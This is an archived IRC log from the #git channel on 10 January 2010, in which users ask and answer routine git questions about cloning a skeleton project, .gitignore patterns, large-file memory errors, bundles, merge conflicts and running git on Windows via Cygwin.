IRCloggy #git 2010-01-10

Logs Search ←Prev date Next date→ Channels Documentation

Provider of IRC logs since 2005.
WARNING: As Freenode became unjoinable and lost all warnings in topics, we cannot log channels on Freenode anymore.

2010-01-10

eldragon thanks wereHamster00:00
javatexan joined00:01
xiong Let me have a reality check on a basic concept or two; please correct me if I'm wrong. A git repo has no name, in itself; or rather, the repo *is* the enclosing folder, the parent of whatever .git/ is tracking it. If I rename the parent, I rename the repo. --?00:04
wereHamster yes00:04
aresnick joined00:04
xiong wereHamster, Thank you.00:04
johnw left00:05
wereHamster git doesn't care what the folder is named00:05
Chillance joined00:05
xiong If I rename the enclosing folder directly (say, in Nautilus) then git will not even see this as a change?00:05
GodEater left00:05
Pieter it will00:05
Ilari xiong: At least URLs pointing to that will change.00:06
xiong Pieter, Thank you. So I must use git-mv for that?00:06
AAA_awright xiong: Some programs that identify the repository by their path will, of course, but not git itself00:06
Pieter xiong: no, it will detect the change00:06
greya joined00:06
xiong I'm a standalone dev, so I don't know that I have any URLs pointing to my repo00:06
cbreak you can copy/move repositories around as you want00:07
Pieter xiong: but it'll be able to infer it's a tree-change only, not a content change00:07
Ilari xiong: Does the box run SSHD? :-)00:07
ph^_ left00:07
xiong Ilari, I have to research what you said.00:07
AAA_awright Does git format-patch work any different than git bundle? Why would I want to use bundle over format-patch?00:07
project2501a left00:07
greya hello, i have "fatal: Out of memory, malloc failed" with 24M text file. Debian Lenny, git version 1.5.6.5 and annoying message: git: /usr/local/lib/libz.so.1: no version information available (required by git)00:08
Ilari AAA_awright: Bundle actually can transport commits and tags.00:08
xiong Ilari, I know that I can connect to my remotehost with SSH. I can check running processes to see if there's a daemon associated with that. I'm not sure why this is significant?00:08
Pieter AAA_awright: git-bundle keeps commit information intact, if you git-format-patch and then apply, you'll get idfferent sha's00:08
AAA_awright: git-bundle can also be more compact00:08
AAA_awright: and git-bundle allows multiple refs to be stored, from which you can fetch only a portion, if you'd wish00:08
Ilari xiong: If you have SSHD running, then there presumably is URL for externally accessing the repo .00:09
xiong Ilari, There is indeed a sshd process running.00:09
AAA_awright I assumed patches always created the same SHA-1, they contain the commit, date, author date... hmm, they don't contain the "commit" date do they?00:09
Ilari xiong: Wheither or not it is used is different matter.00:09
AAA_awright How does that work then? You commit a temporary commit, send that patch, and then pull it back as a different SHA1?00:09
xiong Ilari, Not sure how that works out in practice. I don't think my repo is public in any way. Certainly I don't intend anybody to see it.00:10
Ilari xiong: It isn't public. But another computer that could reach the sshd and login as you could presumably fetch it.00:10
AAA_awright: Bundle preserves commit IDs.00:11
daifuku left00:11
javatexan left00:12
daifuku joined00:12
ramlev left00:12
xiong Let me explain my intent; that might clear things up a little. I have on localhost ~/projects/NEW/; this is a blank development workspace with several empty folders in a predetermined structure. I duplicate this folder structure, rename the top folder to (whateverproject)/, and populate it. I have not now got git tracking NEW, but I think I should. However, when I duplicate, should I destroy the copy of .git/ and create a new one?00:12
Ilari xiong: No, it should not be recreated.00:13
xiong: Empty directories are not tracked. Presence of directory is impiled from having files in it.00:14
amerine joined00:14
Ilari xiong: Well, there's nasty hack to make git create empty directory, but its a hack.00:14
tekky joined00:14
m104 left00:14
deesa left00:14
xiong Ilari, Ooh, I lied a little. Each folder has a text notes file in it which defines its role.00:15
csanz left00:15
m104 joined00:15
greya How to fix that? i have "fatal: Out of memory, malloc failed" with 24M text file. Debian Lenny, git version 1.5.6.5 and annoying message: git: /usr/local/lib/libz.so.1: no version information available (required by git)00:15
denis joined00:15
Ilari xiong: Renaming anything at or above the parent directory of .git doesn't affect anything in that repo.00:15
eldragon greya, how much memory has your computer?00:15
xiong Indeed, the value of having git track NEW/ is to have it track the folder structure changes.00:16
tek joined00:16
Ilari greya: 24M text file? Just what kind of junk machine is that? Or are there even larger files involved?00:16
dandy0299 left00:16
xiong So it looks as though the text notes files are important!00:16
Ilari xiong: ~/projects sounds like there should not be repository there.00:17
xiong Ilari, There is not. Ideally, I think, each folder within projects/ should be a repo.00:17
pantsman left00:18
Ilari xiong: If you do 'mv ~/projects/foo ~/projects/bar' and there's no git repo at or above ~/projects, no git repo sees any changes.00:18
xiong: Since any paths git manipulates are relative to repository root.00:19
Aldwuin joined00:19
EricInBNE left00:19
priidu left00:19
xiong I think I will make ~/projects/NEW a repo; duplicate and rename for each new project; and just develop from there.00:19
EricInBNE joined00:20
nickrw left00:20
Ilari xiong: Note that cping repos or mving repos between filesystems breaks some stuff.00:21
xiong Ilari, I think I haven't been clear. This is all on one machine; I'm a sole dev.00:21
Ilari xiong: There are inode numbers in working copy cache ('git update-index --refresh' to regenerate it).00:21
greya It is quad core 2GB memory server. looks like i have buggy zlib installed. I have Directadmin, and it is real crap :( it installed its own shared libs.00:22
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=43112400:22
looks like that00:22
Ilari xiong: 'cp ~/projects/NEW ~/projects/foo' would hit that "cp creates broken copy" problem.00:22
xiong There isn't really any advantage to retaining the git info about changes to NEW/ once development has begun on a specific project, I guess.00:22
JohnNilsson joined00:23
gambler left00:23
Ilari xiong: Well, you could have skeleton project there without having git repo there, copy it and git init the newly copied directory.00:23
gambler joined00:23
ProLoser|Trmnl left00:24
xiong Ilari, That is what I have been doing. Now I think I should have been using git to track NEW as well. I'll just trash the copy of .git/ and create a new one, when I start an actual project.00:24
sgh joined00:25
JohnNilsson Is it possible to have a gitrepository with submodules and at the same time mirror the objects from the submodules in the same repository? (I'm hoping to setup a simple backup solution involving various git repos)00:25
bcardarella left00:25
amerine left00:25
cilly left00:25
Ilari xiong: I think such stuff should be kept.00:25
RobertLaptop left00:26
xiong Ilari, The original NEW/ will continue to have the original .git/ in it.00:26
calin left00:26
Ilari xiong: The template changes, that is.00:26
xiong Info about changes to the skeleton aren't germane to the specific project. --?00:27
Or are they?00:27
Should I be using git to clone NEW/, then, so nothing breaks and the new repo retains all the old skeleton change info?00:28
Ilari xiong: Thats perhaps the best way.00:28
xiong Ilari, Interesting.00:28
jrmuizel joined00:29
Ilari xiong: And the origin remote can be changed if you need to push it somewhere and want to reuse that name.00:29
_Vi left00:29
_Vi joined00:30
xiong Ilari, I see in the manpage for git-clone the option --template. Is this what I'm trying to do? Or does 'template' have a more specific meaning in gitland?00:30
JohnNilsson left00:30
Ilari xiong: That is for git repository itself (hooks, etc).00:31
sgh left00:31
sgh_ joined00:31
tekky left00:32
xiong So, I just want to: $ git clone ~/projects/NEW/ ~/projects/(newproject)/00:32
brizly left00:33
tvw left00:34
apansover left00:34
Ilari xiong: Pretty much. If in ~/projects, you can do 'git clone NEW newproject'00:35
xiong Ilari, Yes; I tend to be explicit and perhaps oververbose.00:35
I'm unclear as to where to put the file .gitignore; I'm pretty sure I want this to move with the clone.00:36
I think I should put a single .gitignore file in NEW/00:37
Ilari xiong: .gitignore goes to working copy directories and needs to be added and committed.00:37
xiong Ilari, ???00:38
daifuku left00:39
eldragon how can i check the integrity of the all the git repo?00:39
Ilari eldragon: 'git fsck --full'.00:39
eldragon thanks Ilari00:39
Ilari xiong: .gitignore can be put anywhere within working copy. It only affects the directory it is in and what's below that.00:40
xiong Ilari, So you agree? .gitignore in NEW/; add it to the repo; clone the repo.00:41
daifuku joined00:41
tehbaut| left00:41
rettub left00:42
Ilari xiong: Commit it as well.00:43
xiong No, wait. I *intend* to track all changes to NEW/; I care about all of them. The .gitignore file in NEW/ might have patterns set up for folders I never track in an actual project but those lines must be commented out.00:43
adam12 left00:43
vuf left00:44
Ilari xiong: If you want to go against ignore, you can force-add the file.00:44
adam12 joined00:44
xiong Ilari, Yes, I must commit all changes to NEW/ before cloning.00:44
denisdeesa00:45
optimizer joined00:45
optimizer i'd love to put ~ in git; but I don't wnat to store revision of every file; is there a way to do this?00:45
rettub joined00:46
Ilari optimizer: Tracking ~ isn't very good idea.00:46
optimizer why not?00:46
why can I do this with svn b ut not git ?00:46
EricInBNE left00:46
tbuehlmann left00:46
gambler left00:46
tedoc2000 joined00:47
EricInBNE joined00:47
Ilari optimizer: For one, permissions support except for +x/-x.00:47
gambler joined00:47
Ilari optimizer: And it is bad idea with any SCM.00:47
Strogg joined00:48
Strogg 'lo 'lo00:48
Ilari ...00:48
bob2 putting your dotfiles in is reasonable, though00:49
Strogg let's say I was making a tool that was going to use a bare git repo as its storage and history engine... is git-write-tree what I want to be looking at to add/change files to/in the repo?00:49
bcardarella joined00:49
NetHawk joined00:51
optimizer left00:53
oliver3 joined00:53
sockmonk joined00:54
daifuku left00:55
aliasre joined00:55
adam12 left00:56
shruggar left00:56
Strogg discovers git-update-index00:56
adam12 joined00:56
daifuku joined00:57
adam12_ joined00:59
adam12 left00:59
patrikf Strogg: see also git hash-object -w01:00
Ilari Strogg: Also commit-tree and update-ref01:01
patrikf i'm not sure update-index works with bare repos01:01
Strogg oooh. nice. thanks patrikf01:01
hrmmm ok01:01
Strogg opens up a couple more xterms01:01
patrikf and there are git bindings for some scripting languages, might be worth to have a look at01:01
tobiassjosten left01:02
Strogg well.. for now, I'm just writing in bash.. just wanna get something basic working01:02
then I'll start seeing if people wanna hack on it with me01:02
jrmuizel left01:02
ruediger left01:03
patrikf what are you going to create?01:03
r11t_ joined01:03
Strogg hrmm it's a bill of materials manager for people doing hardware design. it's a really unpleasant part of building hardware, and a tool to make managing all the info easier would be really great01:04
corni_ joined01:04
Strogg I've mentioned the idea to a couple people already and have had good comments, so it should be neat01:04
hyperair joined01:04
bburhans_bburhans01:05
tedoc2000 left01:05
GodEater joined01:06
jotik^^ joined01:06
r11t left01:09
jrmuizel joined01:09
reprore left01:11
daifuku left01:11
coolcat left01:11
daifuku joined01:12
cj left01:14
jotik_ joined01:14
TheDJACR joined01:15
khmarbaise left01:16
TDJACR left01:16
developernotes joined01:18
developernotes left01:18
corni left01:20
jotik left01:22
Ilari Strogg: Unfortunately, if info should be managed from some program, possiblity of cocurrent updates complicates stuff (you need to be prepared for file-level merge and even conflicts).01:22
icwiener_ joined01:24
Ilari Strogg: File level merge isn't that bad. But then there are the conflicts (and no VCS can get rid of them)...01:24
Strogg hrmm.. yes01:25
catalis left01:26
xiong left01:28
DrAk0 joined01:29
icwiener left01:29
jotik^^ left01:29
tekky joined01:30
tek left01:30
v0n left01:32
developernotes joined01:34
developernotes left01:38
daifuku left01:39
swisherdude left01:39
Rolenun left01:40
r11t_r11t01:40
daifuku joined01:41
greya I get "fatal: Out of memory, malloc failed" with my git. Notwith large file as i see, it adds couple screens of files then fails. how to find out what's going on? i have a lot of free memory01:42
schierbeck left01:42
_Vi greya, Too big repository and doing "git gc"?01:42
r11t is there some sort of posthook for failed merges ?01:43
swisherpop joined01:43
corni_ left01:43
sgh_ left01:43
Ilari greya: What's the exact command you are trying to run?01:44
eldragon greya, what operation you was doing?01:46
johnw joined01:46
swisherpop left01:46
Slix` joined01:47
swisherpop joined01:47
Slix` Is tortoisegit good for using git?01:47
Ilari Slix`: At least it might be passable.01:48
Slix` What's the recommended way to use it?01:48
eldragon Slix' is tortoisegit exclusively for windows?01:48
Slix` Yeah, I believe so.01:49
Ilari Slix`: Command line? GUIs might be good for some tasks. :-)01:49
Slix` Command line seems like it's going to be confusing :P01:49
eldragon i need a GUI like tortoisegit for linux but i don't find it :o01:49
/tortoisegit/tortoisesvn/01:50
ruediger joined01:50
jwoods left01:50
Ilari eldragon: 'git gui'? Looks bad, but is quite functional.01:50
swisherpop left01:52
swisherpop joined01:53
_Vi (Git is a bit like Perl... Both looks complicated, both very functional. In both "There are more than one way to do it".)01:54
greya sorry, i did git add .01:54
Ilari greya: Just how large is the working tree? What's the exact size of largest file?01:55
rgr so I have modified and committed on machine A. And pushed to the centra repo. Meanwhile on B a change to the same file has been committed. Clearly there is a clash now. What is the best merge procedure in this case?01:55
greya Ilari, i need time01:55
_Vi rgr, "git pull" on the B and resolve the conflict?01:56
rgr _Vi: yes, I'm having trouble seeing how to resolve it though. I am googling and seem to be going around in circles. A mental block I think.01:57
schlortoo left01:57
_Vi rgr, Is it binary file or textual source code?01:57
rgr just test comments on bashrc.01:57
(text)01:57
Slix` Gah01:57
Installed msysgit but can't find any docs on using it.01:57
Ilari rgr: It leaves conflict markers (<<< and >>>)01:57
Slix`: 'git help add'?01:58
_Vi rgr, Then look into the file on B. The should be "<<<", "===", ">>>" markers.01:58
rgr what? the failed pull actually updated it? hang on.01:58
_Vi rgr, You remove that markers, fix the file and "git add ." it and "git commit".01:58
Slix` In what? Windows cmd?01:58
rgr no, there are no markers.01:59
_Vi rgr, "git status".01:59
rgr, Are there files in "Conflict" state?01:59
rgr # Your branch and 'origin/master' have diverged,01:59
# and have 1 and 1 different commit(s) each, respectively.01:59
_Vi rgr, "git merge origin/master" or like that.02:00
greya Ilari, 357922 files max file size - 1.7G02:00
Ilari greya: Ugh. the first would be bad enough, but the second is what blows it.02:00
eldragon the user A committed their successive changes to its local repo of its laptop, same did users B and C and their local repos, everyones offline. My question is when they go to the job, can the three local repos commit to the central repo and solve automatically the several conflicts once?02:01
Ilari greya: Git really doesn't like large files.02:01
eldragon: The conflict resolution must happen at client end.02:01
_Vi rgr, Are your changes at "A" and "B" in the same place in your file?02:01
eldragon i thought that Hg might do it02:01
rgr _Vi: thanks. Thats cleared it up for me a lot.02:01
csanz joined02:02
wereHamster eldragon: no scm can automatically resolve conflicts02:02
rgr _Vi: yes they were. My next test I do the same and put them indifferent places in the same file. Is that then "hunK" merging?02:02
greya Ilari, deleted file- looks like it works02:02
thanks02:02
wereHamster eldragon: conflicts are by definition situations where the scm doesn't know what to do and requires human intervention02:03
swisherpop left02:03
Slix` Git GUI is here.02:03
_Vi rgr, Don't know about "hunk merging", but usually it is called "3-way merging".02:03
fishey1 joined02:03
greya how to write gitignore rule to ignore all /tmp/ dirs under /home/user/ ? /home/user/....................../tmp/ ?02:04
rgr I guess I can get git to auto invoke my emacsclient when I merge?02:04
swisherpop joined02:04
Ilari greya: 350k files is enough to do somewhat nasty things to performance, but its limitation of "free-edit" VCS systems.02:05
Slix` Gah. Very little documentation on this.02:05
DrAk0 left02:05
Ilari greya: 'tmp/' in .gitignore02:05
krynnotaur joined02:05
greya but it can catch that tmp in another dir02:05
but i want to lock it on one tree02:05
Ilari greya: '/tmp/'?02:06
rgr Is it possible to get git to auto invoke my emacsclient when I merge?02:06
Slix` The supposed /share/ file does not exist.02:06
rgr it invokmes my emacs client already for comments on comit.02:07
greya Ilari, for example /home/me/projects/1/ - i want to ignore tmp/ but in /home/me/projects/2/ i want tmp/ too02:07
swisherpop left02:08
wereHamster rgr: git merge will automatically run the editor when the merge didn't fail because of conflicts02:08
_Vi greya, 1. You may add "tmp/" in each .gitignore, 2. There are global ignoring rules somewhere too.02:08
Slix` Why do they keep saying that the initialize.sh file exists?02:08
It doesn't!02:09
greya Ah yes, sure. thanks _Vi02:09
swisherpop joined02:09
rgr wereHamster: what good is running the editor if the mereg was succesful? If it mergeed and left markers in the file surely then it should launch the editor for one to manually ocrrect the mere?02:10
damn keyboard. sorry for sloppy typing.02:10
Alagar left02:12
wereHamster rgr: oops, sorry. git merge automatically generates a commit message -.-. Well, if there are conflicts you could use git mergetool to help you to resolve them.02:12
the reason why git doesn't automatically start it is because you maybe don't want to resolve the conflicts but go back and abort the merge02:12
swisherpop left02:13
rgr ok, seems an ommission though. since its done the merg and left markers in it seems natural to chuck it up in the editor. thanks-02:13
tehbaut joined02:13
rgr wereHamster: but to decide to abort the merge you prbably want to see the markers to see anyway.02:14
anyway, great help. thanks all.02:14
wereHamster to quickly see what the conflicts are about you could use git diff to avoid spawning the editor...02:14
godsflaw joined02:15
greya thanks, optimised my storage :)02:15
Slix` ...02:15
The documentation on msysgit is incorrect.02:16
You are told to use several non-existant files.02:16
I want to use git, but so much of it is just so confusing.02:17
project2501a joined02:18
wereHamster did you read a tutorial? Or the git book?02:18
bcardarella left02:18
orafu left02:18
orafu joined02:18
swisherpop joined02:18
swisherpop left02:19
fishey left02:19
swisherpop joined02:19
Slix` Parts. Not that it matters. Not really sure where to start with windows.02:21
wereHamster are you trying to build msysgit yourself?02:21
_Vi Slix`, One of the ways is to start by installing Cygwin.02:21
Slix` wereHamster: I thought it came pre-built? (If not, then I'm doing something very wrong).02:22
_Vi: Have that. Is that the best way to use git on windows.02:22
s/windows./windows?02:22
wereHamster it does. Are you running windows 7?02:22
_Vi Slix`, I have better experience with Cygwin/Git that with Msysgit.02:23
Tass` Slix`, actually I'd use virtualbox + ubuntu.02:23
Slix` Alright then.02:23
Yep, Windows 7.02:23
x_x;;02:23
VVSiz_ joined02:24
Slix` Tass`: Why?02:24
Tass` Slix`, because the windows command line sucks?02:24
philluminati left02:24
Slix` Isn't that what cygwin is for?02:24
_Vi (How many Windowses there will be before complete Windokaput?)02:24
bcardarella joined02:25
Tass` Slix`, well, it's as linux as wine is windows ;-)02:25
Slix` is not switching to Ubuntu completely with his games on here.02:25
_Vi Slix`, Cygwin should also be used not in standard console window, but in some terminal (Cygwin's xterm, puttytel, ...).02:25
Tass` Slix`, well, have fun. I wouldn't recommend using git on windows :-). but as you need it, go on.02:26
Slix` o_O02:26
I don't need it. I wanted to try it because it looks loads better than SVN.02:26
_Vi (Using "git", including "git-svn" on Cygwin/Windows successfully).02:26
Slix` So I shouldn't use the standard console window?02:27
Tass` Slix`, can't compare. don't know svn ;-)02:27
Slix` Where can I get one of these terminals?02:27
eldragon what does git-svn ? what's the main repo of git-svn? git repo or svn repo?02:27
_Vi Slix`, Bad copy-paste is enough to use alternative consoles.02:27
eldragon, SVN one.02:28
Slix`, And it "git" you may want to copy&paste some SHA-1.02:28
Slix` Alright, but where can I get a good terminal?02:28
eldragon i don't like the svn repos as they are badly organized in dirs02:29
_Vi Slix`, The thing that works 100% OK on Cygwin is Cygwin's xterm on Cygwin's X server. But it requires configuration.02:29
Slix`, You get normal cursor movements, normal copy-paste, normal UTF-8 support.02:29
eldragon, "git-svn" knows what is "branches/" and "tags/".02:30
Slix` Alright, where can I get xterm?02:30
_Vi eldragon, And uses them for their purpose.02:30
Slix`, Install it using Cygwin installer.02:30
Slix` Aha02:31
Duh02:31
Thanks.02:31
_Vi Slix`, You will also need CygwinX.02:31
Slix` Err, where IS the installer? :S I only got it when I first installed cygwin.02:32
_Vi Slix`, Launch it again. "setup.exe".02:32
Slix` Aha. :P02:32
k02:32
RobertLaptop joined02:32
_Vi Slix`, "X" should be started with appropriate options, "xterm" should also be started with appropriate options and also you need to configure "bash" if you want non-ascii to work good.02:33
Slix` o_o Sounds complicated.02:33
hyperair left02:34
swisherpop left02:34
_Vi Slix`, (I was using Cygwin before I actually used GNU/Linux much).02:34
johnw left02:34
swisherpop joined02:34
icwiener_ left02:37
rgr_ joined02:38
sh1mmer joined02:39
VVSiz left02:41
jotik joined02:41
Akufen left02:43
rgr_ left02:44
archis_ joined02:46
deesa left02:47
dgarrw joined02:47
archis_ left02:49
jotik_ left02:56
AAA_awright Is there any easy way of sending commits (as opposed to patches) by email? Is that recommended?02:56
_Vi AAA_awright, "git bundle create".02:56
parasti left02:57
AAA_awright I figured, it doesn't seem widely used, patches are supported on TortoiseGit but not bundles, for example02:57
_Vi AAA_awright, Yes, "git bundle" is not frequently used feature.02:57
AAA_awright, Why do you need it?02:58
AAA_awright, Usually if be email then patches. If directory commits, then "fetch".02:58
AAA_awright I... probably don't, I'm trying to figure out various ways of easily propagating commits without Internet or sometimes a network02:58
bcardarella left02:59
_Vi AAA_awright, Yes, "git bundle" is where the network is a trouble.02:59
juan_arandaalvar joined03:00
jotik^^ joined03:00
jrmuizel left03:01
eldragon i like that git can store all even with conflicted commits and mark them for later human conflict-repairs e.g. weeks later of the ocurred conflicts instead of instant, similar to as Hg does.03:02
Pupeno joined03:02
_Vi eldragon, As I know, the index handles conflicted states, but not "commit" or "tree" objects in object database.03:03
Pupeno left03:03
jrmuizel joined03:03
bcardarella joined03:04
imajes left03:06
bcardarella left03:07
agile joined03:07
schlortoo joined03:08
bcardarella joined03:08
eldragon the idea is simple, "commit the changes and forget", don't stuck here if there are conflicts, store the conflicts too!03:09
daifuku left03:09
_Vi eldragon, Why do you need commits with conflict information?03:10
eldragon, Do allow "git push" without updating first?03:10
s/Do/To/03:10
eldragon, Conflicts are things that should be just resolved.03:10
EricInBNE what is the best open source github clone ?03:11
_Vi eldragon, If you are resolving the same conflicts again and again, use "git rerere".03:11
daifuku joined03:11
_Vi EricInBNE, What's wrong with Github?03:11
eldragon _Vi, because if i change the change of the previous change and i don't remember how was the middle change because i didn't store these changes because the repo rejected them due to the conflicts, all lost. <-- it's why is better store all the changes, conflicted or not, but well marked.03:11
dreiss left03:11
EricInBNE _Vi, its for a private project, cant publish it online03:11
rgr left03:12
_Vi EricInBNE, There are private plans at Github (payed).03:12
rgr joined03:12
_Vi eldragon, "because the repo rejected them due to the conflicts, all lost" -> Again, what is lost?03:12
SeveredCross You can also run your own gitorious if you've got a server around.03:12
_Vi EricInBNE, There somewhere "source code hosting comparison" at Wikipedia.03:13
EricInBNE _Vi, i think the intent is to build our stuff on something non propretiary03:13
SeveredCross If you don't mind using a VM, you can get virtual appliances of Redmine or Gitorious probably.03:13
_Vi EricInBNE, There are "git" columns and "closed source support" columns there.03:13
dreiss_ left03:14
EricInBNE _Vi, will check it out. - _Vi also is gitosis the best git server? (Im just a git newbie)03:14
NotADJ joined03:14
TheDJACR left03:14
_Vi EricInBNE, I don't know about both of "gitosis" and "gitolite", but 1. You may setup it manually, 2. Somewhere at #git there was told that gitolite is better.03:15
EricInBNE, Git is itself server for Git. Gitosis as configuration tool.03:15
s/as /is /03:15
EricInBNE, (Git combined with SSH server)03:15
EricInBNE i see03:15
_Vi EricInBNE, Also you can use "git over HTTPS" live SVN, but this is not mature feature and have some issues.03:16
jotik left03:17
EricInBNE So what does gitosis configure if its all over ssh?03:17
_Vi EricInBNE, It also configures SSH, as I know. (Again, I haven't used it personally)03:18
EricInBNE, With this tool you probably can create repository remotely, add SSH keys to access them, manage them.03:19
EricInBNE, But you also can do that manually, if you know how.03:19
eldragon _Vi, lost the many conflicted changes that repo rejected them to be commited due to conflicts.03:20
_Vi eldragon, What do you mean by "conflicted changes"? Changes you are done when resolving conflicts? Changes that have been conflicted?03:20
eldragon there is no way to commit the changes of the conflicted changes that the user has been rewriting many times.03:21
cytrinox_ joined03:21
cytrinox left03:21
cytrinox_cytrinox03:21
_Vi eldragon, Don't understand.03:21
aziz left03:21
_Vi eldragon, Conflict has 3 sides: 1. Base, 2. "your" side, 3. "their" side. Also it has "result" - that is after resolution.03:22
eldragon, 1, 2 and 3 are almost never lost.03:22
eldragon, "result" should not also be lost if you has run "git add" for it.03:23
eldragon, (And there should not be a lot of conflicts. Most merge are expected to be clean.)03:23
cedricv joined03:24
eldragon _Vi, e.g. a file A can't be commited due a conflict, A can't be commited somewhere, i modify A to A', i commit A' and conflicts, i modify A' to A'', commit it and conflicts, i did the wrong way! i've A'' but i want to back to either A' and A but i can't because they weren't commited and are disappeared, it's lost, :o03:24
_Vi eldragon, What do you mean by "commit the file"? You commit the whole project that has some files changed.03:24
eldragon, (I think "commit the file" is CVS term)03:25
eldragon _Vi, i'm saying an example for the fucking idea that you don't understand it.03:25
_Vi eldragon, "i commit A' and conflicts" -> Merges can be conflicting, not commits.03:26
eldragon, Commit is at your side, not involving any "their" code.03:26
reprore joined03:26
eldragon _Vi, the commits can be conflicted too, liar.03:27
_Vi eldragon, How are you trying to "commit" A', for example?03:27
LRN left03:27
pheaver left03:27
_Vi eldragon, Git has a bit divergent meaning of "commit".03:27
eldragon, May be it confused you?03:28
jrmuizel left03:28
eldragon maybe03:28
_Vi eldragon, In Git, merging may conflict. Or some patch application. E.g. things when there are two code branches.03:28
reprore left03:29
_Vi eldragon, What commands are you typing? (Or you are using some GUI?)03:29
eldragon push pull03:29
sudoer joined03:29
_Vi eldragon, "push" may tell you that it is "not fast-forward". You do "git pull" therefore. It may produce conflict.03:29
eldragon, Because "git pull" is merging things.03:30
developernotes joined03:30
eldragon can git store the conflicted merges?03:30
_Vi eldragon, There is "your" branch (where you "git commit") and "their" branch (what is fetched from server).03:30
DrAk0 joined03:30
developernotes left03:30
_Vi eldragon, What do you mean by "storing". You can't commit with conflicts unresolved and push it on server, for example.03:31
catalis joined03:31
manithree joined03:31
_Vi eldragon, If you has done "git commit", it committed. It produced commit-id. You may restore it almost any time by this commit-id.03:32
eldragon, (But you can't "git commit" if there are conflicts).03:33
eldragon if there are conflicts, then where can i store the last conflicted modified project?03:33
_Vi eldragon, You mean "the state of project before conflict"?03:34
eldragon, E.g. what was before "git pull"?03:35
eldragon no, i mean to store the state of project after of the conflict03:35
catalis left03:35
_Vi eldragon, That "conflicted" state is supposed to be 1. short-living, 2. unpersistable. But you may reproduce the same state by merging the same branches.03:36
eldragon, In any case if there are conflicts, you should first resolve them and then continue normal editing.03:36
eldragon yes, i wanna to lose the shortlive changes that i did03:36
Rolenun joined03:36
project2501a left03:36
_Vi eldragon, (Otherwise you are better to cancel merge to remove "conflicted" state)03:37
eldragon _Vi, and if solving the conflicts is too long, can't i commit them anywhere?03:37
_Vi eldragon, You want to store intermediate stages of conflict resolution?03:38
eldragon yes, it's!03:38
_Vi eldragon, May be there are too many conflicts?03:38
eldragon maybe03:38
sockmonk left03:39
_Vi eldragon, Then it is supposed you merge not with all remote changes at once, but split them in some packs.03:39
eldragon, BTW what kind of conflicts? Why there are so many of them?03:39
daifuku left03:39
Paraselene_ joined03:40
_Vi eldragon, Start "gitk --all". You will see branches. There is "your" (master) and "their" (origin/master). You will see they are diverged.03:40
eldragon because the repo is being giant03:40
tekky left03:40
_Vi eldragon, You may merge not with the most recent version of "their" branch, but with some intermediate state. Less changes => less conflicts. E.g. to split merging work to parts.03:41
daifuku joined03:41
eldragon i wanna to split many branches03:41
jmcantrell joined03:42
eldragon i wanna to store the conflicts, and little to little to go removing the conflicts for days03:42
_Vi eldragon, You 1. get to the state that was before conflict, 2. "git merge commit_id", where commit_id is from "their" branch, for example, at the half of the way from merge base to the tip of "their" branch.03:42
eldragon err. i want ot store conflicts.03:42
_Vi eldragon, No, I think Git can't handle such thing well. You probably better to slit them in other way.03:43
bry simple way to convert SVN commits to GIT commits locally? git-svn clone file:///path/to/svn is yelling about cannot open repo URL03:43
_Vi bry, "svn ls" for the file:///path/to/svn working well?03:43
krynnotaur left03:43
_Vi eldragon, E.g. you don't solve all conflicts at once, but do many merges, each of them has few conflicts to resolve.03:44
bry _Vi: it returns "svn: Unable to open an ra_local session to URL"03:44
ruediger_ joined03:45
_Vi eldragon, "git merge 23439cb" -> solve conflicts -> "git add" -> "git commit"; "git merge 334bf4" -> solve conflicts -> "git add" -> "git commit". "git merge origin/master" -> solve conflicts -> "git add" -> "finally commit".03:45
bry, Try to fix your URL.03:45
csanz left03:45
eldragon _Vi, in the time of "solve conflicts", i can lose the works03:45
_Vi bry, Use "svn info" or "svn ls" to validate it. And you better not try to clone empty repository, add at least 1 _file_ to it.03:46
eldragon, Each of that "solve commits" should not be big work.03:46
eldragon, The thing that has normal continuation is "rebase". Do you want to rebase instead?03:47
eldragon how can i restore the changes that i did during the time of "solve conflicts"?03:47
_Vi eldragon, Between each "solve conflicts" session or during the one big "solve conflicts" session?03:47
eldragon if i can't restore the changes, i did lose them during my rewritings03:47
a long "solve conflicts" session03:48
_Vi eldragon, What command has you typed that made your changes appear to be "lost"?03:48
eldragon, (Long "solve conflicts" session is bad idea).03:48
eldragon _Vi, git can't03:48
_Vi eldragon, "git can't". I don't know such Git command.03:49
eldragon _Vi, bad idea is git, not the consequence.03:49
_Vi eldragon, No, Git is good idea. "a lot of conflicts" is bad idea.03:49
eldragon, And you should try "rebase" It will offer to resolve conflicts in each of your (or their) commits individually.03:50
eldragon, You told that you has some changes, but lost them. After what command they are lost?03:50
s/has /had /03:50
eldragon the git rejection did to me lose my works03:51
/my works/my last conflicted works/03:52
tjafk joined03:52
eldragon i'm not saying that git is buggy03:52
aliasre left03:53
pheaver joined03:53
tfarina_ left03:53
_Vi eldragon, What is "git rejection"?03:54
eldragon, What are you Git workflow? Console-based of GUI-based?03:54
schmukkk joined03:54
eldragon _Vi, git rejection is easy to understand, it's that git rejects that operation that wanted the human.03:55
_Vi eldragon, What operation caused "git rejection"?03:55
eldragon, What software are you using to work with Git?03:55
eldragon the last commit (merge in git) that git reject to accept due to a conflict03:56
_Vi eldragon, You have typed "git commit", it rejected and erased your changes?03:56
eldragon yes, it's03:56
_Vi eldragon, Very strange. Failed "git commit" should not change anything.03:57
eldragon, (I'll experiment with "git commit" with conflicts now)03:57
eldragon _Vi, you're not understanding what project is and what work is03:58
ruediger left03:59
_Vi eldragon, "needs merge", "unmerged", "error: Error building trees" Were there such messages?03:59
developernotes joined04:00
ruediger_ left04:00
eldragon i don't remember, i did the last files of my last works04:00
_Vi eldragon, I'm not understand how "git commit" can break things. It doesn't touch your working tree files.04:00
eldragon i don't remember, i did lose the last files of my last works04:00
_Vi eldragon, Had you run "git reset"?04:01
eldragon, or "git checkout"?04:01
eldragon, BTW what Git version are you using? (git --version)04:01
eldragon git co many times, but sometimes i backed some versions for different ways04:02
developernotes left04:02
_Vi eldragon, "git checkout" also should not delete your files or undo your changes unless you specified "-f" option ro force checkouts.04:02
eldragon /versions/revisions/04:02
my personal problem is that my last modifications go in wrong way04:02
ishanj joined04:03
pheaver_ joined04:03
_Vi eldragon, E.g. yesterday you was fixing conflicts, attempted to run "git commit", it rejected and you've gone home. Now you've made bad edits and want to restore yesterday's state, right?04:04
eldragon yes!04:04
ishanj has converting code to use "-q" option been implemented?04:04
_Vi eldragon, Had you run "git add" for the work you've done yesterday?04:05
Paraselene_ left04:05
eldragon i didn't04:05
_Vi eldragon, So Git doesn't know about what was done yesterday.04:05
eldragon i don't split to many branches04:06
